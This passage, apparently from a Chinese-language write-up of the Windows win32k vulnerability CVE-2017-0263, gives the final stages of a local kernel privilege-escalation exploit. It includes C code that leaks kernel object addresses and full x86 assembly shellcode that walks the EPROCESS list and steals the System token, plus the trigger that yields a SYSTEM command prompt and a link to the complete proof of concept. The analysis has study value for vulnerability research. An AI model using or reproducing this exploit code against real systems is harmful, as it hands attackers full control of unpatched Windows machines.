根据前面构造的利用代码,我们已实现漏洞触发后在函数 xxxMNEndMenuState 第二次执行期间不引发系统异常而成功执行,但第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 tagCLS 对象的成员域 lpszMenuName 指向的缓冲区。这将导致在进程退出时销毁用户对象期间,系统在内核中释放目标窗口类对象成员域 lpszMenuName 时引发重复释放的异常,因此需要在 ShellCode 代码中将目标窗口类对象的成员域 lpszMenuName 置空。

在利用代码批量创建普通窗口对象期间,增加获取每个窗口对象的成员域 pcls 指向地址的语句,并将获取到的各个 pcls 指向地址存储在结构体 SHELLCODE 对象的成员数组 tagCLS[] 中。

static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
    pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}

获取 tagCLS 地址并存储在结构体 SHELLCODE 对象的利用代码

查找需置空成员域 lpszMenuName 的目标窗口类对象需要通过与根弹出菜单对象的内核地址进行匹配,因此需要利用代码在用户进程中获取根弹出菜单对象的内核地址。这可以在事件通知处理函数 xxWindowEventProc 中实现:

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    if (iMenuCreated == 0)
    {
        popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
    }
    if (++iMenuCreated >= num_PopupMenuCount)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
    }
}

在函数 xxWindowEventProc 中增加获取根弹出菜单对象地址的利用代码

接下来实现对 ShellCode 函数代码的构造。与在用户上下文中执行的窗口对象消息处理函数稍有不同的是,内核模式窗口对象消息处理函数的第 1 个参数是指向目标窗口 tagWND 对象的指针,其余参数都相同。

为了精确识别触发提权的操作,在代码中定义 0x9F9F 为触发提权的消息。在 ShellCode 函数代码中,我们首先判断传入的消息参数是否是我们自定义的提权消息:

push    ebp
mov     ebp,esp
mov     eax,dword ptr [ebp+0Ch]
cmp     eax,9F9Fh
jne     LocFAILED

在 32 位的 Windows 操作系统中,用户上下文代码段寄存器 CS 值为 0x1B,借助这个特性,在 ShellCode 函数代码中判断当前执行上下文是否在用户模式下,如是则返回失败。

mov     ax,cs
cmp     ax,1Bh
je      LocFAILED

接下来清空 DF 标志位;恢复载体窗口对象的标志位状态,与之前修改标志位时的自减相对地,使成员标志位 bDialogWindow 地址起始的 32 位数据直接自增。

cld
mov     ecx,dword ptr [ebp+8]
inc     dword ptr [ecx+16h]

首先备份当前所有通用寄存器的数值在栈上,接下来通过 CALL-POP 技术获取当前 EIP 执行指令的地址,并根据相对偏移计算出存储在 ShellCode 函数代码前面位置的结构体 SHELLCODE 对象的首地址:

pushad
call    $5
pop     edx
sub     edx,443h

遍历结构体 SHELLCODE 对象存储的 tagCLS 数组并与通过参数 wParam 传入的根弹出菜单对象的内核地址进行匹配。

mov     ebx,100h
lea     esi,[edx+18h]
mov     edi,dword ptr [ebp+10h]

LocForCLS:
test    ebx,ebx
je      LocGetEPROCESS
lods    dword ptr [esi]
dec     ebx
cmp     eax,0
je      LocForCLS
add     eax,dword ptr [edx+8]
cmp     dword ptr [eax],edi
jne     LocForCLS
and     dword ptr [eax],0
jmp     LocForCLS

接下来获取载体窗口对象头部结构中存储的线程信息 tagTHREADINFO 对象指针,并继续获取线程信息对象中存储的进程信息 tagPROCESSINFO 对象指针,并获取对应进程的进程体 EPROCESS 对象指针。各个成员域的偏移在结构体 SHELLCODE 对象中存储。

LocGetEPROCESS:
mov     ecx,dword ptr [ecx+8]
mov     ebx,dword ptr [edx+0Ch]
mov     ecx,dword ptr [ebx+ecx]
mov     ecx,dword ptr [ecx]
mov     ebx,dword ptr [edx+10h]
mov     eax,dword ptr [edx+4]

接下来根据进程体 EPROCESS 对象的成员域 ActiveProcessLinks 双向链表和成员域 UniqueProcessId 进程标识符找到当前进程的 EPROCESS 地址。由于 UniqueProcessId 是成员域 ActiveProcessLinks 的前一个成员域,因此直接使用 SHELLCODE 对象中存储的 ActiveProcessLinks 偏移值来定位 UniqueProcessId 的位置。

push    ecx

LocForCurrentPROCESS:
cmp     dword ptr [ebx+ecx-4],eax
je      LocFoundCURRENT
mov     ecx,dword ptr [ebx+ecx]
sub     ecx,ebx
jmp     LocForCurrentPROCESS

LocFoundCURRENT:
mov     edi,ecx
pop     ecx

紧接着继续遍历进程体 EPROCESS 对象链表,以找到 System 进程的进程体对象地址。

LocForSystemPROCESS:
cmp     dword ptr [ebx+ecx-4],4
je      LocFoundSYSTEM
mov     ecx,dword ptr [ebx+ecx]
sub     ecx,ebx
jmp     LocForSystemPROCESS

LocFoundSYSTEM:
mov     esi,ecx

执行到这一步已定位到当前进程和 System 进程的进程体对象地址,接下来就使用 System 进程的成员域 Token 指针替换当前进程的 Token 指针。

mov     eax,dword ptr [edx+14h]
add     esi,eax
add     edi,eax
lods    dword ptr [esi]
stos    dword ptr es:[edi]

此时当前进程已拥有 System 进程的 Token 指针,额外增加的引用需要手动为目标 Token 对象增加对象引用计数。在 NT 执行体模块中大多数内核对象都是以 OBJECT_HEADER 结构体作为头部结构:

kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   [...]
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD

该结构位于内核对象地址前面的位置,内核对象起始于 OBJECT_HEADER 结构体的 Body 成员域。手动增加指针引用需要对成员域 PointerCount 进行自增。

and     eax,0FFFFFFF8h
add     dword ptr [eax-18h],2

接下来大功告成,恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F 作为向调用者的反馈信息。

popad
mov     eax,9F9Fh
jmp     LocRETURN

LocFAILED:
mov     eax,1

LocRETURN:
leave
ret     10h

至此 ShellCode 函数代码已编写完成。

触发提权

万事俱备,只欠东风。接下来在利用代码的自定义阴影窗口消息处理函数 xxShadowWindowProc 中调用系统服务 NtUserMNDragLeave 之后的位置增加对载体窗口对象发送自定义提权消息 0x9F9F 的调用语句,并将返回值的判断结果存储在全局变量 bDoneExploit 中。

LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;

在函数 xxShadowWindowProc 中增加发送提权消息的利用代码

这样一来,在执行系统服务 NtUserMNDragLeave 以置位载体窗口对象的成员标志位 bServerSideWindowProc 之后,函数发送 0x9F9F 消息并将根弹出菜单对象的内核地址作为 wParam 参数传入,执行流将在内核上下文中直接调用载体窗口对象的自定义消息处理函数,执行到由用户进程定义的 ShellCode 代码中,实现内核提权和相关内核用户对象成员域的修复。

通过主线程监听全局变量 bDoneExploit 是否被赋值;如成功赋值则创建新的命令提示符进程。

启动的命令提示符进程已属于 System 用户身份
启动的命令提示符进程已属于 System 用户身份

可以观测到新启动的命令提示符已属于 System 用户身份。

 

后记

在本分析中构造验证代码和利用代码时,处理逻辑与原攻击样本的代码稍有差异。例如,攻击样本为了保证成功率,在代码中增加了暂时挂起全部线程的操作,还将菜单和子菜单的个数设定为 3 个。在本分析中为了实现最简验证和利用代码,对这些不必要的因素进行了省略。

 

链接

[0] 本分析的 POC 下载

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0263/x86.cpp

[1] Kernel Attacks through User-Mode Callbacks

http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf

[2] 从 Dump 到 POC 系列一: Win32k 内核提权漏洞分析

http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/

[3] TrackPopupMenuEx function (Windows)

https://msdn.microsoft.com/en-us/library/windows/desktop/ms648003(v=vs.85).aspx

[4] sam-b/windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

[5] Sednit adds two zero-day exploits using ‘Trump’s attack on Syria’ as a decoy

https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/

[6] EPS Processing Zero-Days Exploited by Multiple Threat Actors

https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html

(完)